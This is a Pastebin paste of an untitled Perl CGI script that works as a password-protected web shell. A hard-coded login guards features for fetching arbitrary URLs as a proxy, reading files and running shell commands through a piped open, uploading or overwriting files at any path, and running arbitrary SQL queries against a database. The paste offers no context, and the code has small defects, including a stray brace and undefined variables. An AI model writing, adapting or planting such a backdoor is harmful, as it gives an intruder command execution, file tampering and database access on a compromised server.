Advertisement
Guest User

Untitled

a guest
Oct 6th, 2017
98
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.17 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use DBI;
  4. use Digest::MD5 qw(md5_hex);
  5. use HTML::Entities;
  6. use LWP::UserAgent;
  7. use CGI qw(:standard);
  8. use CGI::Carp qw(fatalsToBrowser);
  9.  
  10.  
  11.  
  12. my $customizeUser = "roentgen";
  13. my $customizePass = "XraYr3cnac";
  14.  
  15.  
  16. sub trim($)
  17. {
  18. my $string = shift;
  19. $string =~ s/^\s+//;
  20. $string =~ s/\s+$//;
  21. return $string;
  22. }
  23.  
  24. my $query = new CGI;
  25.  
  26. binmode STDOUT;
  27. $| = 1;
  28.  
  29. print $query->header();
  30.  
  31. print "<html><head></head><body><form action=\"\" method=post enctype=\"multipart/form-data\">";
  32. print "<b>...</b>\n";
  33. print "\n";
  34. print '<input type="submit"><br><br>';
  35. }
  36.  
  37. if (($query->param("user") ne $customizeUser) || ($query->param("pass") ne $customizePass)) {
  38. print "</form></html>";
  39. exit;
  40. }
  41.  
  42. if ($interface){
  43. print '<input type="checkbox" name="no-interface" value="true">No Interface<br>';
  44. print "<br><b>Proxy</b>:<br>\n\n";
  45. print '<input type="checkbox" name="proxy-pre" value="true" default>Pre<br>';
  46. print '<textarea name="proxy-get" cols="100" rows="30"></textarea>';
  47. }
  48.  
  49. if (length($query->param('proxy-get'))>3) {
  50. my $ua = LWP::UserAgent->new;
  51. $ua->agent('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050927');
  52.  
  53. my @queries = split(/\n/, $query->param('proxy-get'));
  54. my $pre = $query->param('proxy-pre') eq "true";
  55. $pre = $pre && $interface;
  56. foreach my $q (@queries)
  57. {
  58. if ($pre){
  59. print "<div><b>Get</b>: $q <br><br>";
  60. print "<pre>";
  61. }
  62. my $res = $ua->get($q);
  63. if ($res) { $res = $res->content; }
  64. $res =~ s/&/&/g if $pre;
  65. $res =~ s/[<]/</g if $pre;
  66. print $res;
  67. print "</pre></div>" if $pre;
  68. }
  69. }
  70.  
  71. if ($interface){
  72. print "<br><b>Files</b>:<br>\n\n";
  73. print '<input type="checkbox" name="guess-kind" value="true" checked>Guess file meaning<br>';
  74. print '<textarea name="files" cols="100" rows="30"></textarea>';
  75. }
  76.  
  77. if (length($query->param('files'))>3) {
  78. my $ua = LWP::UserAgent->new;
  79. $ua->agent('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050927');
  80.  
  81. my @files = split(/\n/, $query->param('files'));
  82. my $guess = $query->param('guess-kind') eq "true";
  83. my $pre = 1 && $interface;
  84. foreach my $f (@files)
  85. {
  86. my $g = $f;
  87. if ($guess) {
  88. $g = trim($f);
  89. if ($g =~ m+.*[/]$+) {
  90. $g = "ls -Al ".$g;
  91. }
  92. if ($g =~ m/[ ]/) {
  93. $g = $g." 2>&1 |";
  94. }
  95. }
  96. if ($pre){
  97. print "<div><b>File</b>: $g <br><br>";
  98. print "<pre>";
  99. }
  100. open(FILE, $g);
  101. binmode(FILE);
  102. print <FILE>;
  103. close(FILE);
  104. print "</pre></div>" if $pre;
  105. }
  106. }
  107.  
  108. if ($interface){
  109. print "<br><b>File up</b>:<br>\n\n";
  110. print '<input name="filename" type="text" size=100>';
  111. print '<input name="filedata" type="file">';
  112. print '<textarea name="filecontent" rows=30 cols=80></textarea><br>';
  113. }
  114.  
  115. if (length($query->param("filename"))>3){
  116. print "<br>File upload to: ".$query->param("filename")."<br>";
  117. if (length($query->param("filecontent"))>3){
  118. open (FILE, '>'.$query->param("filename"));
  119. binmode (FILE);
  120. print FILE ($query->param("filecontent"));
  121. close (FILE);
  122. } else {
  123. my $lightweight_fh = $query->upload('filedata');
  124. if (defined $lightweight_fh) {
  125. my $io_handle = $lightweight_fh->handle;
  126. binmode ($io_handle);
  127. open (OUTFILE,'>',$query->param("filename"));
  128. binmode (OUTFILE);
  129. my $buffer;
  130. while (my $bytesread = $io_handle->read($buffer,1024)) {
  131. print OUTFILE $buffer;
  132. }
  133. close (OUTFILE);
  134. } else { print "Handle not defined"; }
  135. }
  136. }
  137.  
  138. if ($interface){
  139. print "<br><b>Database</b>:<br>\n\n";
  140. print '<input name="dbtype" type="text" value="'.defparam("dbtype","mysql").'">';
  141. print '<input name="dbhost" type="text" value="'.defparam("dbhost","localhost").'">';
  142. print '<input name="dbport" type="text" value="'.defparam("dbport","3306").'">';
  143. print '<input name="dbname" type="text" value="'.$query->param("dbname").'">';
  144. print '<input name="dbuser" type="text" value="'.$query->param("dbuser").'">';
  145. print '<input name="dbpass" type="text" value="'.$query->param("dbpass").'"><br>';
  146. print '<textarea name="dbquery" rows=30 cols=80></textarea><br>';
  147. }
  148.  
  149.  
  150. if (length($query->param("dbquery"))>3){
  151. my $typ = $query->param("dbtype");
  152. my $host = $query->param("dbhost");
  153. my $port = $query->param("dbport");
  154. my $dbn = $query->param("dbname");
  155. my $user = $query->param("dbuser");
  156. my $pass = $query->param("dbpass");
  157. my $dsn = "DBI:$typ:database=$dbn;host=$host;port=$port";
  158. my $dbh = DBI->connect($dsn, $user, $pass,{RaiseError=>1});
  159. print "<div><table>";
  160. if ($dbh) {
  161. my $sth=$dbh->prepare($query->param("dbquery"));
  162. if ($sth) {
  163. $sth->execute();
  164. while (my @data = $sth->fetchrow_array()) {
  165. print "<tr>";
  166. foreach my $v (@data) {
  167. print "<td>$v</td>";
  168. }
  169. print "</tr>";
  170. }
  171. $sth->finish();
  172. $dbh->disconnect;
  173. } else { print "Error:"; }
  174. } else { print ("Error: $dbh->errstr"); }
  175. print "</table></div>";
  176. }
  177.  
  178.  
  179. if ($interface) {
  180. print '<br><br><br><input type="submit"><br><br>';
  181. print "</form></html>";
  182. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement